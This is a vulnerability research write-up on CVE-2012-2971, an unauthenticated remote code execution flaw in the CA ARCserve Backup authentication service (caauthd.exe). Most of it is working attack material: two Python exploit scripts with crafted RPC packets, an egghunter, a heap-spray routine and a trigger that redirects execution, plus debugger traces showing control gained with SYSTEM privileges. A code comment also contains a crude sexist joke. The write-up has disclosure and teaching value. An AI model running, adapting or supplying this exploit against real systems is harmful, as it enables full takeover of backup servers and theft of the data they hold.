CA ARCserve – CVE-2012-2971

CA ARCserve – CVE-2012-2971

Author: Matteo Memelli

On a recent penetration test, we encountered an installation of CA ARCserve Backup on one of the target systems that piqued our interest. Like most “good” enterprise applications, ARCserve has processes that are running as SYSTEM so naturally, we went straight to work looking for vulnerabilities.

 Affected Product Information

According to the vendor, CA ARCserve Backup delivers industry-leading, enterprise-class data protection for a wide range of operating environments. The CA ARCserve authentication service (caauthd.exe) validates the caroot user login and equivalence. It is required for GUI and backup server communication and uses a dynamic TCP port to serve incoming connections. Through our analysis, CA ARCserve Backup r16 sp1 fully patched was proven to be vulnerable and earlier versions, including r12.5, r15.0 and r16.0, were found to be vulnerable as well.

Vulnerability Description and Impact

By replacing a particular xdr_rwslist object expected in an RPC authentication packet with another xdr_rwobject, the function sub_416E80 will call a non-existent or invalid virtual function that can be controlled by the attacker. Authentication is not required to trigger the bug and successful exploitation of this vulnerability for the caauthd.exe process will lead to remote code execution with NT AUTHORITY\SYSTEM privileges. Failed exploitation attempts will lead to a denial of service condition on the target system.

Exception Analysis

The code for our initial proof of concept is shown below.

#!/usr/bin/python
import time, struct, sys
import socket as so

"""
CA ARCserve Backup r16 sp1 RWSList RCE 0day
offsec.com 5/8/2012
"""

TRIGGER = (
"\x80\x00\x02\x68\x4f\x9d\x17\x25\x00\x00\x00\x00\x00\x00\x00\x02"
"\x00\x06\x09\x80\x00\x00\x00\x01\x00\x00\x00\x7a\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\xa1"
"\x02\x35\x32\x35\x34\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30"
"\x41\x30\x30\x30\x30\x30\x30\x30\x32"
"\x30\x30\x30\x30\x30\x30\x31\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x34\x45\x38\x44\x44\x31\x36\x34\x44\x33\x41\x37\x31\x42"
"\x39\x43\x36\x46\x34\x43\x46\x42\x41\x42\x34\x32\x35\x35\x42\x44"
"\x41\x00\x00\x00"
"\x00\x00\x00\xb1"
"\x02\x35\x32\x35\x34\x30\x30\x30"
"\x31\x30\x30\x30\x30\x30\x30\x30\x41\x30\x30\x30\x30\x30\x30\x30"
"\x32"
"\x30\x30\x30\x30\x30\x30\x31\x30"
"\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x46\x30\x38\x30\x31\x43\x42"
"\x41\x37\x38\x37\x36\x44\x46\x30\x45\x44\x41\x44\x31\x36\x44\x43"
"\x38\x36\x36\x38\x39\x37\x33\x43\x31\x00\x00\x00"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
# xdr_list was expected here, we replace it with an xdr_string
# to trigger the bug
"\x00\x00\x00\x06"
"\x53\x74\x72\x69\x6e\x67\x00\x00"
# string
"\x00\x00\x00\x17"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x00"
)

def portDiscover(server):
""" Discover caauthd.exe listening port """
print "[+] Requesting RPC auth port to the server..."
getport =(
"\x80\x00\x00\x38\x4f\x9d\xb4\xb2\x00\x00\x00\x00\x00\x00\x00\x02"
"\x00\x01\x86\xa0\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x06\x09\x80\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00"
)
try:
s = so.socket(so.AF_INET, so.SOCK_STREAM)
s.connect((server, port))
s.send(getport)
reply = s.recv(100)
except Exception,e:
print str(e)
sys.exit()
authport = struct.unpack(">I",reply[-4:])[0]
print "[+] Authentication Services are on port %d" % authport
return authport

def sendme(req, server, authport):
""" Send data to the server """
s = so.socket(so.AF_INET, so.SOCK_STREAM)
global COUNT
try:
s.connect((server, authport))
s.send(req)
COUNT += 1
#print "PACKET %d sent" % COUNT
except Exception,e:
pass

if __name__ == '__main__':
try:
server = sys.argv[1]
port = 111
except IndexError:
print "[*] Usage: %s " % sys.argv[0]
sys.exit()

authport = portDiscover(server)
print "[$] Triggering Crash..."
sendme(TRIGGER, server, authport)
print "[$] Done! Check Debugger, EIP=0x0000002f..."
(774.c80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000002f ebx=00000000 ecx=00ac5290 edx=2d60c0f0 esi=00ac5290 edi=100097c0
eip=0000002f esp=0177e880 ebp=00ad5af8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
0000002f ?? ???
0:002> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

FAULTING_IP:
+16f4a
0000002f ?? ???

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0000002f
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 0000002f
Attempt to read from address 0000002f

FAULTING_THREAD: 00000c80
PROCESS_NAME: caauthd.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx". The memory could not be "%s".
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 0000002f
READ_ADDRESS: 0000002f
FOLLOWUP_IP:
caauthd+16f4a
00416f4a 8b0d0c024200 mov ecx,dword ptr [caauthd+0x2020c (0042020c)]

FAILED_INSTRUCTION_ADDRESS:
+1562faf00a0df5c
0000002f ?? ???
MOD_LIST:
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
BUGCHECK_STR: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_PROBABLYEXPLOITABLE
PRIMARY_PROBLEM_CLASS: BAD_INSTRUCTION_PTR_PROBABLYEXPLOITABLE
DEFAULT_BUCKET_ID: BAD_INSTRUCTION_PTR_PROBABLYEXPLOITABLE
LAST_CONTROL_TRANSFER: from 00416f4a to 0000002f
STACK_TEXT:
WARNING: Frame IP not in any known module. Following frames may be wrong.
0177e87c 00416f4a 00000000 00401420 00402940 0x2f
0177e880 00000000 00401420 00402940 00abaf00 caauthd+0x16f4a

SYMBOL_STACK_INDEX: 1
SYMBOL_NAME: caauthd+16f4a
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: caauthd
DEBUG_FLR_IMAGE_TIMESTAMP: 4eca83df
STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~2s ; kb
BUCKET_ID: APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_BAD_IP_caauthd+16f4a
IMAGE_NAME: C:\Program Files\CA\ARCserve Backup\caauthd.exe
FAILURE_BUCKET_ID: BAD_INSTRUCTION_PTR_PROBABLYEXPLOITABLE_c0000005_C:_Program_Files_CA_ARCserve_Backup_caauthd.exe!Unknown
WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/caauthd_exe/16_0_6838_1/4eca83df/unknown/0_0_0_0/bbbbbbb4/c0000005/0000002f.htm?Retriage=1

Vulnerability Analysis

The application crashes while the sub_416E80 function in the caauthd.exe module calls a virtual function of a RWSlist object at address 0x00416F48 as shown below in Figure 1:

Invalid Virtual Function Call

Figure 1: Invalid Virtual Function Call

In a legitimate RPC authentication packet, the RWSlist object looks like the following:

00ac2d98 00 00 00 05 53 6c 69 73-74 00 00 00 00 00 00 09 ....Slist.......
00ac2da8 00 00 00 06 53 74 72 69-6e 67 00 00 00 00 00 17 ....String......
00ac2db8 4f 46 46 53 45 43 2d 4e-58 5c 41 64 6d 69 6e 69 OFFSEC-NX\Admini
00ac2dc8 73 74 72 61 74 6f 72 00-00 00 00 06 53 74 72 69 strator.....Stri
00ac2dd8 6e 67 00 00 00 00 00 09-6f 66 66 73 65 63 2d 6e ng......offsec-n
00ac2de8 78 00 00 00 00 00 00 06-53 74 72 69 6e 67 00 00 x.......String..
00ac2df8 00 00 00 0f 41 52 43 73-65 72 76 65 4d 67 72 2e ....ARCserveMgr.
00ac2e08 65 78 65 00 00 00 00 07-49 6e 74 65 67 65 72 00 exe.....Integer.
00ac2e18 00 00 00 10 00 00 00 07-49 6e 74 65 67 65 72 00 ........Integer.
00ac2e28 00 00 00 00 00 00 00 06-53 74 72 69 6e 67 00 00 ........String..
00ac2e38 00 00 00 06 63 61 72 6f-6f 74 00 00 00 00 00 06 ....caroot......
00ac2e48 53 74 72 69 6e 67 00 00-00 00 00 0f 41 52 43 73 String......ARCs
00ac2e58 65 72 76 65 4d 67 72 2e-65 78 65 00 00 00 00 06 erveMgr.exe.....
00ac2e68 53 74 72 69 6e 67 00 00-00 00 00 00 00 00 00 07 String..........
00ac2e78 49 6e 74 65 67 65 72 00-00 00 00 01 Integer.....

Since the caauthd.exe service does not check the type of the xdr_rwobject before dereferencing its vtable at address 0x00416F40 (Figure 1), omitting the RWSList object container can allow an attacker to load an invalid address into the EAX register, eventually controlling the execution flow (CALL EAX instruction at 0x00416F48, Figure 1).
The Exception Analysis previously presented refers to the caauthd.exe service crash induced by the following RPC packet (opcode 0x7a):

# header
"\x80\x00\x02\x68\x4f\x9d\x17\x25\x00\x00\x00\x00\x00\x00\x00\x02"
"\x00\x06\x09\x80\x00\x00\x00\x01\x00\x00\x00\x7a\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
# user size
"\x00\x00\x00\xa1"
# fake user
"\x02\x35\x32\x35\x34\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30"
"\x41\x30\x30\x30\x30\x30\x30\x30\x32\x30\x30\x30\x30\x30\x30\x31"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x00\x00\x00"
# passwd size
"\x00\x00\x00\xa1"
# fake passwd
"\x02\x35\x32\x35\x34\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30"
"\x41\x30\x30\x30\x30\x30\x30\x30\x32\x30\x30\x30\x30\x30\x30\x31"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x00\x00\x00"
# xdr_int
"\x41\x41\x41\x41"
# xdr_list was expected here, we replace it with an xdr_string
# to trigger the bug
"\x00\x00\x00\x06"
"\x53\x74\x72\x69\x6e\x67\x00\x00"
# string
"\x00\x00\x00\x17"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x00"

In the above code, the xdr_rwlist object was simply removed from the original buffer and sent to the target. As can be seen below, the vtable for the xdr_rwstring object does not contain a valid virtual function at offset +64h:

Breakpoint 9 hit
eax=7c49fac8 ebx=00000000 ecx=7c49fac8 edx=00000002 esi=00ab9bf0 edi=100097c0
eip=00416f40 esp=0177e888 ebp=00ad5af8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
caauthd+0x16f40:
00416f40 8b16 mov edx,dword ptr [esi] ds:0023:00ab9bf0=2d60c0f0
0:002> t
eax=7c49fac8 ebx=00000000 ecx=7c49fac8 edx=2d60c0f0 esi=00ab9bf0 edi=100097c0
eip=00416f42 esp=0177e888 ebp=00ad5af8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
caauthd+0x16f42:
00416f42 8b4264 mov eax,dword ptr [edx+64h] ds:0023:2d60c154=0000002f
0:002> dds edx
2d60c0f0 2d608abe rwxdr!xdr_Short+0x19e
2d60c0f4 2d608ac4 rwxdr!xdr_Short+0x1a4
2d60c0f8 2d608e84 rwxdr!xdr_Short+0x564
2d60c0fc 2d607bf0 rwxdr!xdr_rwstring+0x340
2d60c100 2d608aca rwxdr!xdr_Short+0x1aa
2d60c104 2d608ad0 rwxdr!xdr_Short+0x1b0
2d60c108 2d608ad6 rwxdr!xdr_Short+0x1b6
2d60c10c 2d608bcc rwxdr!xdr_Short+0x2ac
2d60c110 2d608adc rwxdr!xdr_Short+0x1bc
2d60c114 2d608ae2 rwxdr!xdr_Short+0x1c2
2d60c118 2d608ae8 rwxdr!xdr_Short+0x1c8
2d60c11c 2d608aee rwxdr!xdr_Short+0x1ce
2d60c120 2d60ccac rwxdr!RWCollectablePairIntUlong64::`vftable'+0x112c
2d60c124 2d608ec6 rwxdr!xdr_Short+0x5a6
2d60c128 2d608ecc rwxdr!xdr_Short+0x5ac
2d60c12c 2d608ed2 rwxdr!xdr_Short+0x5b2
2d60c130 2d607f40 rwxdr!xdr_rwtime+0x330
2d60c134 2d608ed8 rwxdr!xdr_Short+0x5b8
2d60c138 2d608ede rwxdr!xdr_Short+0x5be
2d60c13c 2d608ee4 rwxdr!xdr_Short+0x5c4
2d60c140 2d608eea rwxdr!xdr_Short+0x5ca
2d60c144 2d608ef0 rwxdr!xdr_Short+0x5d0
2d60c148 2d608ef6 rwxdr!xdr_Short+0x5d6
2d60c14c 2d608efc rwxdr!xdr_Short+0x5dc
2d60c150 2d608f02 rwxdr!xdr_Short+0x5e2
2d60c154 0000002f <---------------- offset +64h
2d60c158 00000020
2d60c15c 6f727245
2d60c160 78203a72 MFC80!CWnd::ReflectChildNotify+0xe2 [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp @ 3019]
2d60c164 725f7264
2d60c168 6f6c7577
2d60c16c 3436676e

The resultant crash leads us to reach the following conclusion: the “vtable escape” forces the value 0x2f to be loaded into the EIP register instead of a valid virtual function address, causing an access violation while trying to execute instructions at that invalid memory location.

Proof of Concept

One possible way to control the execution flow is to replace the xdr_rwstring presented in the previous section with another xdr_rwobject. To quickly prove remote code execution with Data Execution Prevention disabled, we used the xdr_rwtime object. For this object, the vtable entry at offset 64h points to the middle of an ASCII string belonging to the .rdata section of rwxdr.dll as shown below.

Breakpoint 9 hit
eax=7c49fac8 ebx=00000000 ecx=7c49fac8 edx=00000002 esi=00aa7d58 edi=100097c0
eip=00416f40 esp=0177e888 ebp=00ad5af8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
caauthd+0x16f40:
00416f40 8b16 mov edx,dword ptr [esi] ds:0023:00aa7d58=2d60c124
0:002> t
eax=7c49fac8 ebx=00000000 ecx=7c49fac8 edx=2d60c124 esi=00aa7d58 edi=100097c0
eip=00416f42 esp=0177e888 ebp=00ad5af8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
caauthd+0x16f42:
00416f42 8b4264 mov eax,dword ptr [edx+64h] ds:0023:2d60c188=276e7365
0:002> dds edx
2d60c124 2d608ec6 rwxdr!xdr_Short+0x5a6
2d60c128 2d608ecc rwxdr!xdr_Short+0x5ac
2d60c12c 2d608ed2 rwxdr!xdr_Short+0x5b2
2d60c130 2d607f40 rwxdr!xdr_rwtime+0x330
2d60c134 2d608ed8 rwxdr!xdr_Short+0x5b8
2d60c138 2d608ede rwxdr!xdr_Short+0x5be
2d60c13c 2d608ee4 rwxdr!xdr_Short+0x5c4
2d60c140 2d608eea rwxdr!xdr_Short+0x5ca
2d60c144 2d608ef0 rwxdr!xdr_Short+0x5d0
2d60c148 2d608ef6 rwxdr!xdr_Short+0x5d6
2d60c14c 2d608efc rwxdr!xdr_Short+0x5dc
2d60c150 2d608f02 rwxdr!xdr_Short+0x5e2
2d60c154 0000002f
2d60c158 00000020
2d60c15c 6f727245
2d60c160 78203a72 MFC80!CWnd::ReflectChildNotify+0xe2 [f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\wincore.cpp @ 3019]
2d60c164 725f7264
2d60c168 6f6c7577
2d60c16c 3436676e
2d60c170 00000000
2d60c174 6c632820
2d60c178 69737361
2d60c17c 203d2064
2d60c180 00000000
2d60c184 6f642029
2d60c188 276e7365 <---------------- offset +64h 2d60c18c 6d692074 2d60c190 6d656c70 2d60c194 20746e65 2d60c198 28726478 2d60c19c 20726458 2d60c1a0 7264782a
0:002> db 2d60c188
2d60c188 65 73 6e 27 74 20 69 6d-70 6c 65 6d 65 6e 74 20 esn't implement
2d60c198 78 64 72 28 58 64 72 20-2a 78 64 72 73 29 20 66 xdr(Xdr *xdrs) f
2d60c1a8 75 6e 63 00 45 72 72 6f-72 3a 20 52 57 58 64 72 unc.Error: RWXdr
2d60c1b8 61 62 6c 65 20 6f 62 6a-65 63 74 20 00 00 00 00 able object ....
0:002> !address 2d60c188
Usage: Image
Allocation Base: 2d600000
Base Address: 2d60b000
End Address: 2d614000
Region Size: 00009000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
More info: lmv m rwxdr
More info: !lmi rwxdr
More info: ln 0x2d60c188

Since the address 0x276e7365 falls within the heap range, an attacker could try to remotely allocate shellcode at that memory location, sending malicious crafted packets to the caauthd.exe service, before triggering the vulnerability.
“Unfortunately”, at least one function was proven to leak memory while processing incoming RPC packets. The function rwxdr.dll!xdr_string3, which performs the username xdr_string3 structure deserialization, doesn’t seem to correctly deallocate memory after its use.

Allocating Function for Heap Spray

Figure 2: Allocating Function Used for Remote Heap Spray

As a result, sending multiple crafted RPC packets and specifying a large size for the username field, an attacker can reach the 0x276e0000 memory range in a couple of minutes.

The xdr structure used in our PoC is as follows:

### xdr_string3 start
##### xdr_int
req += leaksize # xdr_int maxsize 0xffffffff
######### xdr_opaque
req += shellcode # xrd_opaque, shellcode
### xdr_string3 end

The following PoC demonstrates the theory presented above:

#!/usr/bin/python
import time, struct, sys, threading, os
import socket as so

"""
CA ARCserve Backup r16 sp1 RWSList RCE 0day
offsec.com 5/8/2012
"""


COUNT = 0
# egghunter
EH ='\x33\xD2\x90\x90\x90\x42\x52\x6a'
EH +='\x02\x58\xcd\x2e\x3c\x05\x5a\x74'
EH +='\xf4\xb8\x6e\x30\x30\x62\x8b\xfa'
EH +='\xaf\x75\xea\xaf\x75\xe7\xff\xe7'
# bp int3
int3 = "\xcc" * 287
SH = "n00bn00b" + int3

TRIGGER = (
"\x80\x00\x02\x68\x4f\x9d\x17\x25\x00\x00\x00\x00\x00\x00\x00\x02"
"\x00\x06\x09\x80\x00\x00\x00\x01\x00\x00\x00\x7a\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\xa1"
"\x02\x35\x32\x35\x34\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30"
"\x41\x30\x30\x30\x30\x30\x30\x30\x32"
"\x30\x30\x30\x30\x30\x30\x31\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x34\x45\x38\x44\x44\x31\x36\x34\x44\x33\x41\x37\x31\x42"
"\x39\x43\x36\x46\x34\x43\x46\x42\x41\x42\x34\x32\x35\x35\x42\x44"
"\x41\x00\x00\x00"
"\x00\x00\x00\xb1"
"\x02\x35\x32\x35\x34\x30\x30\x30"
"\x31\x30\x30\x30\x30\x30\x30\x30\x41\x30\x30\x30\x30\x30\x30\x30"
"\x32"
"\x30\x30\x30\x30\x30\x30\x31\x30"
"\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
"\x30\x30\x30\x30\x30\x30\x30\x30\x30\x46\x30\x38\x30\x31\x43\x42"
"\x41\x37\x38\x37\x36\x44\x46\x30\x45\x44\x41\x44\x31\x36\x44\x43"
"\x38\x36\x36\x38\x39\x37\x33\x43\x31\x00\x00\x00"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
# xdr_rwtime object triggers calls 0x276e7365 This is mappable
"\x00\x00\x00\x04"
"\x54\x69\x6d\x65"
"\x00\x00\x00\x04"
"\x41\x41\x41\x41"
)

def portDiscover(server):
""" Discover caauthd.exe listening port """
print "[+] Requesting RPC auth port to the server..."
getport =(
"\x80\x00\x00\x38\x4f\x9d\xb4\xb2\x00\x00\x00\x00\x00\x00\x00\x02"
"\x00\x01\x86\xa0\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x06\x09\x80\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00"
)
try:
s = so.socket(so.AF_INET, so.SOCK_STREAM)
s.connect((server, port))
s.send(getport)
reply = s.recv(100)
except Exception,e:
print str(e)
sys.exit()
authport = struct.unpack(">I",reply[-4:])[0]
print "[+] Authentication Services are on port %d" % authport
return authport

def leakbaby(leaksize, ts, sc):
""" Create the allocation packet """
req = "\x80\x00\x02\x68" # xdr_u_long
req += "\x4f\x9d\x17\x25" # xdr_u_long
req += "\x00\x00\x00\x00" # xdr_enum Check at 0x2E00A6AC
req += "\x00\x00\x00\x02" # xdr_u_long Check at 0x2E00A6D0
req += "\x00\x06\x09\x80" # xdr_u_long Check at 0x2E010170 progn
req += "\x00\x00\x00\x01" # xdr_u_long Check at 0x2E010181 progver
req += "\x00\x00\x00\x7a" # xdr_u_long Check at 0x00401699 JmpT

### xdr_opaque_auth start
req += "\x00\x00\x00\x00" # xdr_enum Check at 0x2E01032C
##### xdr_bytes start
######### xdr_int
req += "\x00\x00\x00\x00" # xdr_int
#### xdr_bytes end
### xdr_opaque_auth end

### xdr_opaque_auth start
req += "\x00\x00\x00\x00" # xdr_enum
##### xdr_bytes start
######### xdr_int
req += "\x00\x00\x00\x00" # xdr_int
#### xdr_bytes end
### xdr_opaque_auth end

### xdr_string3 start
##### xdr_int
req += leaksize # xdr_int -sizer fuzz maxsize 0xffffffff
######### xdr_opaque
#req += "\xCC"*ts # xrd_opaque
req += "\x90"*(ts - len(sc)) + sc
### xdr_string3 end
return req

def sendme(req, server, authport):
""" Send data to the server """
s = so.socket(so.AF_INET, so.SOCK_STREAM)
global COUNT
try:
s.connect((server, authport))
s.send(req)
COUNT += 1
#print "PACKET %d sent" % COUNT
except Exception,e:
pass

if __name__ == '__main__':
try:
server = sys.argv[1]
port = 111
except IndexError:
print "[*] Usage: %s " % sys.argv[0]
sys.exit()

authport = portDiscover(server)

sarttime=time.time()
print "[+] Spraying in progress, please wait 1 minute..."
print "[*] Feeding the baby like a big boobs italian mama would do..."
req = leakbaby("\x00\x10\x00\x00", 0x226, SH)
for i in range(544):#
sendme(req, server, authport)
time.sleep(0.05)
COUNT = 0

req = leakbaby("\x00\x00\x02\x26", 0x226, EH)
while COUNT < 100000:#
for k in range(800):
t = threading.Thread(target=sendme,
args=(req, server, authport))
t.start()
time.sleep(0.1)
endtime = time.time() - sarttime
print "[*] BURP!!!!"
print "[*] Spray time in secs:", endtime
time.sleep(0.2)
print "[$] Triggering RCE..."
sendme(TRIGGER, server, authport)
print "[$] Done! Check Debugger, you should get int3 executed in 1 min..."

Looking back our debugger after launching the proof of concept, we can see that we have complete control:

ca-int3

In the video below, you can see the proof of concept in action, with the debugger suspending execution at our breakpoint.